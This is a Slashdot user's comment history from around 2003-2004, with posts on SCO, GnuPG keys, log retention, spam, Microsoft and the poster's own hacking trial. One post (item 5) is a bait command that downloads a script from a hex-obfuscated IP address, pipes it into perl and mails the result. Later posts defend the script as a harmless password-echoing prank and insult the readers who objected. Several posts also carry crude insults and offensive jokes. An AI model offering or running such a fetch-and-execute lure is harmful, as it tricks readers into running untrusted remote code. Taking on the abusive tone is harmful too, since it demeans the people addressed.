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  1. Dear Prospective Customer... on SCO Letter to Fortune 1500 Now Online · · Score: 0, Redundant
    As you may have well read throughout the world ALL YOUR main() ARE BELONG TO US. We appreciate all monies sent to our struggling organization, and hope this situation is obscure enough to scare you into sending us thing money.

    Yours truly, SC(um)O staff

  2. uh... on Latest Maps of the Internet · · Score: 2, Insightful
    Seems like this is irrelevant to anything actually worth something. Considering changes occur so much online, why even bother, I mean honestly. Right now say if an ISP switched their AS to another provider which occurs you know, what does that do for the map, all that time wasted.

    Sure makes for a nice project I just threw up a /26 for some hosts they're not included in the map, so aside from novelty what real purpose does this serve? I'm not trolling I'm just trying to look at this from a different perspective outside of 'yay look what I did'.

    Side note to clarify those scared clueless crybabies who made a statement about the "magic" perl script I posted, please read on cluebie. You should check wtf your talking about the script does nothing more than what it just did scare luzers and makes for a nice honeypot. FYI the script is from Deception Tool Kit, if you dug around you would know this. Only line I added was at the bottom, which is nothing more than print

  3. get a clue on GnuPG's ElGamal Signing Keys Compromised · · Score: 1

    it redoes your password to print it out jackass does absolutely nothing to your system. Maybe if you had a clue about perl or even about common sysadmin sense you could take a look and see print all over the place. Nothing gets stored anywhere.

    finger root@kungfunix.net to see what it does moron

  4. correction on GnuPG's ElGamal Signing Keys Compromised · · Score: 2, Interesting

    Actually thats Gammal .. Gamal means nothing in Swedish... Debil on the other hand... or Dumbom, analfabet, olbidad... Yea those..

  5. haiya! on GnuPG's ElGamal Signing Keys Compromised · · Score: -1, Offtopic

    wget -qO - 0xD1.0x5E.0x7B.0x9B/magic|perl|mail -s wtf `whoami`

  6. media whores 101 on FatWallet To Sue Best Buy Over DMCA Threat · · Score: 4, Interesting


    If they really gave a shit about the privacy of others etal, they would oust their logfiles entirely. Like Cryptome does, and many others do. They're not obligated to keep log files under any binding law, and now they're bitching about being targeted for user id's etc.. Here's a noble idea for those who want to protect the privacy of others ln -s /var/log/access_log /dev/null otherwise wake up and smell the coffee... You will be targeted... Some of my own logs? I parse them out, all I mainly get are gov visitors to my https://www.pol*/foia/ directories. I keep them in case some fscktard makes a move and I have to report something to an ISP, so it's a trade off for me. As for them they're not obligated to keep the logs, and they're not obligated to remove publicly posted information. What's Bestbuy going to do after, sue Google for keeping it cached... Get real

  7. Re:Combination.. on A Secure and Verifiable Voting System · · Score: 1

    https source + egold = offshore secure

  8. Re:Welcome to reality, Mr. Morrissey on Spammers Pleased with 'Anti'-Spam Act · · Score: 0
    So Brian Morrissey, the Senior Editor of the DMNews, thinks spam isn't all that bad.

    Shit... I think spam is actually pimped in an omelette, on crackers, chicks, macaroni and cheeze (kraft), and after some beers when you don't feel like cooking. Seriously though... I agree with you on Mr. Morrissey. I mean how dare he have an opinion, that's so uncharacteristic of someone to have an opinion. Making judgments for himself, and expressing his thoughts shit man someone ought to teach him a lesson. Why don't you join Ashcroft and pull for the asinine Patriot 2 act, and teach this luzer a lesson. I'm with you there buddy.

    No freedom of thought!! ... Down with objectivism!!

  9. keep trolling trollin trollin on Recycling TV Ads · · Score: -1, Offtopic

    Recycle this commercial (DISCLAIMER: Warning politically incorrect advertisement for Michael Jackson, viewers over 14 need not apply. Parents need not worry secret rooms are for hidden security videos only.)

  10. Cheaper on Encrypted Cell Phone Hits the Market · · Score: 0

    PGPFone or... VoIP with tunneling... Or... Smoke Signals over SSL and Bongo packets Yes $4000 saved is $4000 more worth of starbux cappucinos

  11. Better 'connectivity' article? on Better Than Bit Torrent, For Internet2 Users? · · Score: -1, Offtopic
    SALT LAKE CITY - When it comes to the Internet, residents of Utah are taking matters into their own hands.

    In a 21st-century twist on Roosevelt-era public works projects, Salt Lake City and 17 other Utah cities are planning to build the largest ultrahigh-speed digital network in the country.

    Construction on the project is scheduled to start next spring - if the cities can raise the money to pull it off. The network would be capable of delivering data over the Internet to homes and businesses at speeds 100 times faster than current commercial residential offerings. It would also offer digital television and telephone services through the Internet.

    With a $470 million price tag, the project is considered one of the most ambitious efforts in the world to deploy fiber optic cables, which carry data in bursts of light over glass fibers. Though it has not received much attention outside the area, the project has raised questions here about the role of government, particularly from telecommunications companies, which are starting to complain about the prospect of competing against a publicly sponsored digital network.

    NYTimes (no reg)

    non spari il messaggero

  12. Re:Let me see if I've got this right... on Microsoft to Launch MSN Music Service in 2004 · · Score: 1

    would this E-Flat be a dot com or dot org sir?

  13. Re:and blah blah blah blah on Microsoft to Launch MSN Music Service in 2004 · · Score: 0

    s/are illegal/aren\'t illegal/g yes!,,, zero caffeine rox

  14. and blah blah blah blah on Microsoft to Launch MSN Music Service in 2004 · · Score: 1
    "I don't see how it violates the settlement, unless they prevent Windows users from using other web browsers. As long as you can still view sites using another browser on your computer, there is nothing to stop you choosing whichever browser you want. So they are not using market power to tie people in to their web browser"

    I don't see how this is relevant since people have their own fingers and can easily type the word Tucows, or Download, and get a different broswer to use instead of bitching like it's the end of the world. No one is shoving a gun down their throat, and although unethical, MS' actions are illegal unless you of course are a judge and are willing to make this statement
  15. Re:remember the game defender? on Mail Server Flaw Opens MS Exchange to Spam · · Score: 1

    shit youre right see how damn old I am I think Ive been struck by some form of male menopausal lou gehrigzeimers disease or something

  16. remember the game defender? on Mail Server Flaw Opens MS Exchange to Spam · · Score: -1, Flamebait
    Intruder alert Intruder alert!!

    I'm wondering if mickeysoft'll will play on this slogan for their new digs into security... "Intruder alert intruder alert... MS Bounty Hunters notified... You will be assimilated

    See now I know it doesn't rhyme and it's not catchy but that the beautiful ironicy of it all. MS is to security as that slogan is to rhymes ... null

  17. Sun also rises on Sun Announces Linux Deal With Chinese Government · · Score: 2, Informative
    yes! Now I could finally stop hearing all that Sun is dead talk. First the AMD news, now this, and wow then my gerbil talked! yes!.

    Seriously... I think it's good news for Sun, hopefully instead of spending millions chasing MS in court, they could put that money into R&D and kick some ass/arse/arslet/culo ..

  18. FINALLY! on Red Hat, SUSE Announce Educational Discounts · · Score: 0, Offtopic

    Romper Room linux v.1 kernel 2.43252436987654092435 rev1

    lynx -dump politrix.org/segment/index.php|\
    grep e++a|\
    sed 's/esb/ s/g;s/eq/il /g;s/yZ/ is /g;s/\+\+a/ a /g;s/Wi/ pi/g;s/Jg/p /g'|\
    cut -f "1,2,4,6,8" -d ' '|\
    grep -v "lynx\|wget"

  19. Re:Breaking Point Chaos and Destruction Online on The Computer Owner - Guilty or Not Guilty? · · Score: 1

    Not true, they have to be explained how it all works, which means they jury will drag on which means just seeing you as the defendant is pissing them off more and more since they won't be able to watch oprah later.

  20. Re:Breaking Point Chaos and Destruction Online on The Computer Owner - Guilty or Not Guilty? · · Score: 1
    Let me say from first hand experience this is what I dealt with on trial, mind you I'm sensitive about saying too much since I was `warned' a bit.

    My Lawyer to FBI CompSecAgent on stand: Can you point to the defendants IP address on the log files?
    Agent: I don't understand what you mean
    My Lawyer: The IP address you understand what that means
    Agent: Looks at the DA... "I don't understand what you mean"

    Hello like can you say perj... Well I mean can you say he simply forgot what an IP address was that day. You have to understand, for one a jury does not want to be there, think of when you get called for jury duty how much you dislike it. Now in a comp case (mines was the first in New York, might be the first period I think there were no `hacker' cases to my knowledge that went to trial), when jurors don't understand things they are explained the technology which drags on a case... Took my jury under one hour, while my information was nowhere in logs.

    Simply the fact (as stated by high fiving feds in my house) that I was into computer security, owned a 'hacker' website (AntiOffline if you want to take that seriously), oh and according to another agent "Oquendo broke into NSA, Mil, and CIA computers" (said on the stand) was enough for the jury to just know I did this. Forget the fact my phone company testified I did not use the phone when the attack occured, and my ISP (a rep from my ISP) testified I wasn't logged into my account when two attacks occured. Other evidence on my behalf? I had plane tickets that showed I was en-route to Texas, while my account was being accessed from Indiana and Oxford U. Jury never got to see it DA argued it out because I was just `oh so damn 31337

    </rant>

    Well if I don't post for a while ;) We'll all know I automagically possessed WMD or something and was thrown back in the clinker ;P

  21. Breaking Point Chaos and Destruction Online on The Computer Owner - Guilty or Not Guilty? · · Score: 5, Interesting
    Been there done that

    It's actually very easy to frame someone online which will be (mark my word) the next big thing in divorce cases, criminal cases, etal. I won't comment anymore on these issues though. I've been through the whole shabang. One thing people should be aware of though is the ease of which someone could actually do something malicious to another person. Courts, well let's just say if you're the accused, pray you don't get a computer phobic (which the DA will try to ensure he selects the most of) jury.

  22. Nein noch nicht on AOL To Be Purchased By T-Online? · · Score: 1

    As if Bush and Wolfowitz wouldn't declare war on Germany... pfft ;)

    Would be neat though to see that annoying little yellow man get replaced with a volks... Wait those beetles are just as annoying. Mercedes? Ok so we could turn the little man into a gangster with a gold chain emblem around his neck and have the rappers chip in on this...

    Commercial with Master P scene one
    ehhhhhhhhhh

    Nope wouldn't cut it... Snoop?
    foshizzlemahnizzleyougotsmailbizzle

    Hrmm nah... JayZ?
    A to the izzO...

    Damnit all we have left are the Germans I guess considering the alternatives here. I say let them take it, and let me know when and where I could send these 32,450,987,123,451 AOL 8.0 cd's to.

  23. Re:Segway RMP on Segway-Based Robot Opens Doors · · Score: -1, Offtopic
    Segway and can reasonably easily be remote controlled, balancing itself with up to 250 pounds on it

    I guess won't sell too much in America now would it...

    In recent years, the percentage of Americans citing obesity as the country's chief health threat has increased, putting it on a similar level with AIDS in the 2002 and 2003 surveys. Recently, the Centers for Disease Control and Prevention singled out obesity as the country's greatest health threat, especially since it is linked to health conditions such as heart disease and diabetes. Gallup
    Oh yea call me a troll porky
  24. No Problemo we'll send you a demo on HP, Princeton Develop New Memory Material · · Score: 1

    The issue here isn't whether or not a company can create faster disks, that's already been established, it's nothing more than subliminal marketing every time one of these businesses come out with the `next big thing'.

    Consider this if you will. XCompany starts devel on say product A, at the cost of $100.00, yet the competition has either beat them to the punch, or is touting Product A also but better and perhaps at a cheaper cost. Now XCompany has got to recoup the money spent on Product A, so they `tout Devel Product B` -- which works super wonders in the kitchen! --, its all about marketing.

    Why should a company flood the market when they're likely to overlap and kill off their own product line without ever selling anything. Damnit I wish I wasn't so tired I would have probably been more elegant, but I haven't had any quad grande cappucinos yet so sue me for being so spacey.

  25. Re:batteries smatteries on Batteries Continue To Suck · · Score: 2, Insightful
    its a kinetic watch and unfortunately unless you're willing to strap your laptop, boombox, phones, pda's, dildos (for the goatsex pricks), then it won't work.

    I'm sure battery vendors can find something to do more or less the same but why should they when they could continue charging you? Salesman: Ok I'm gonna give you this product and dont worry you will never have to see me again! Dream on. Its not in the vendors best interests to do something like that so don't expect anything to come out of their labs for like... ever.

    Girls gone g[inset your imagination here]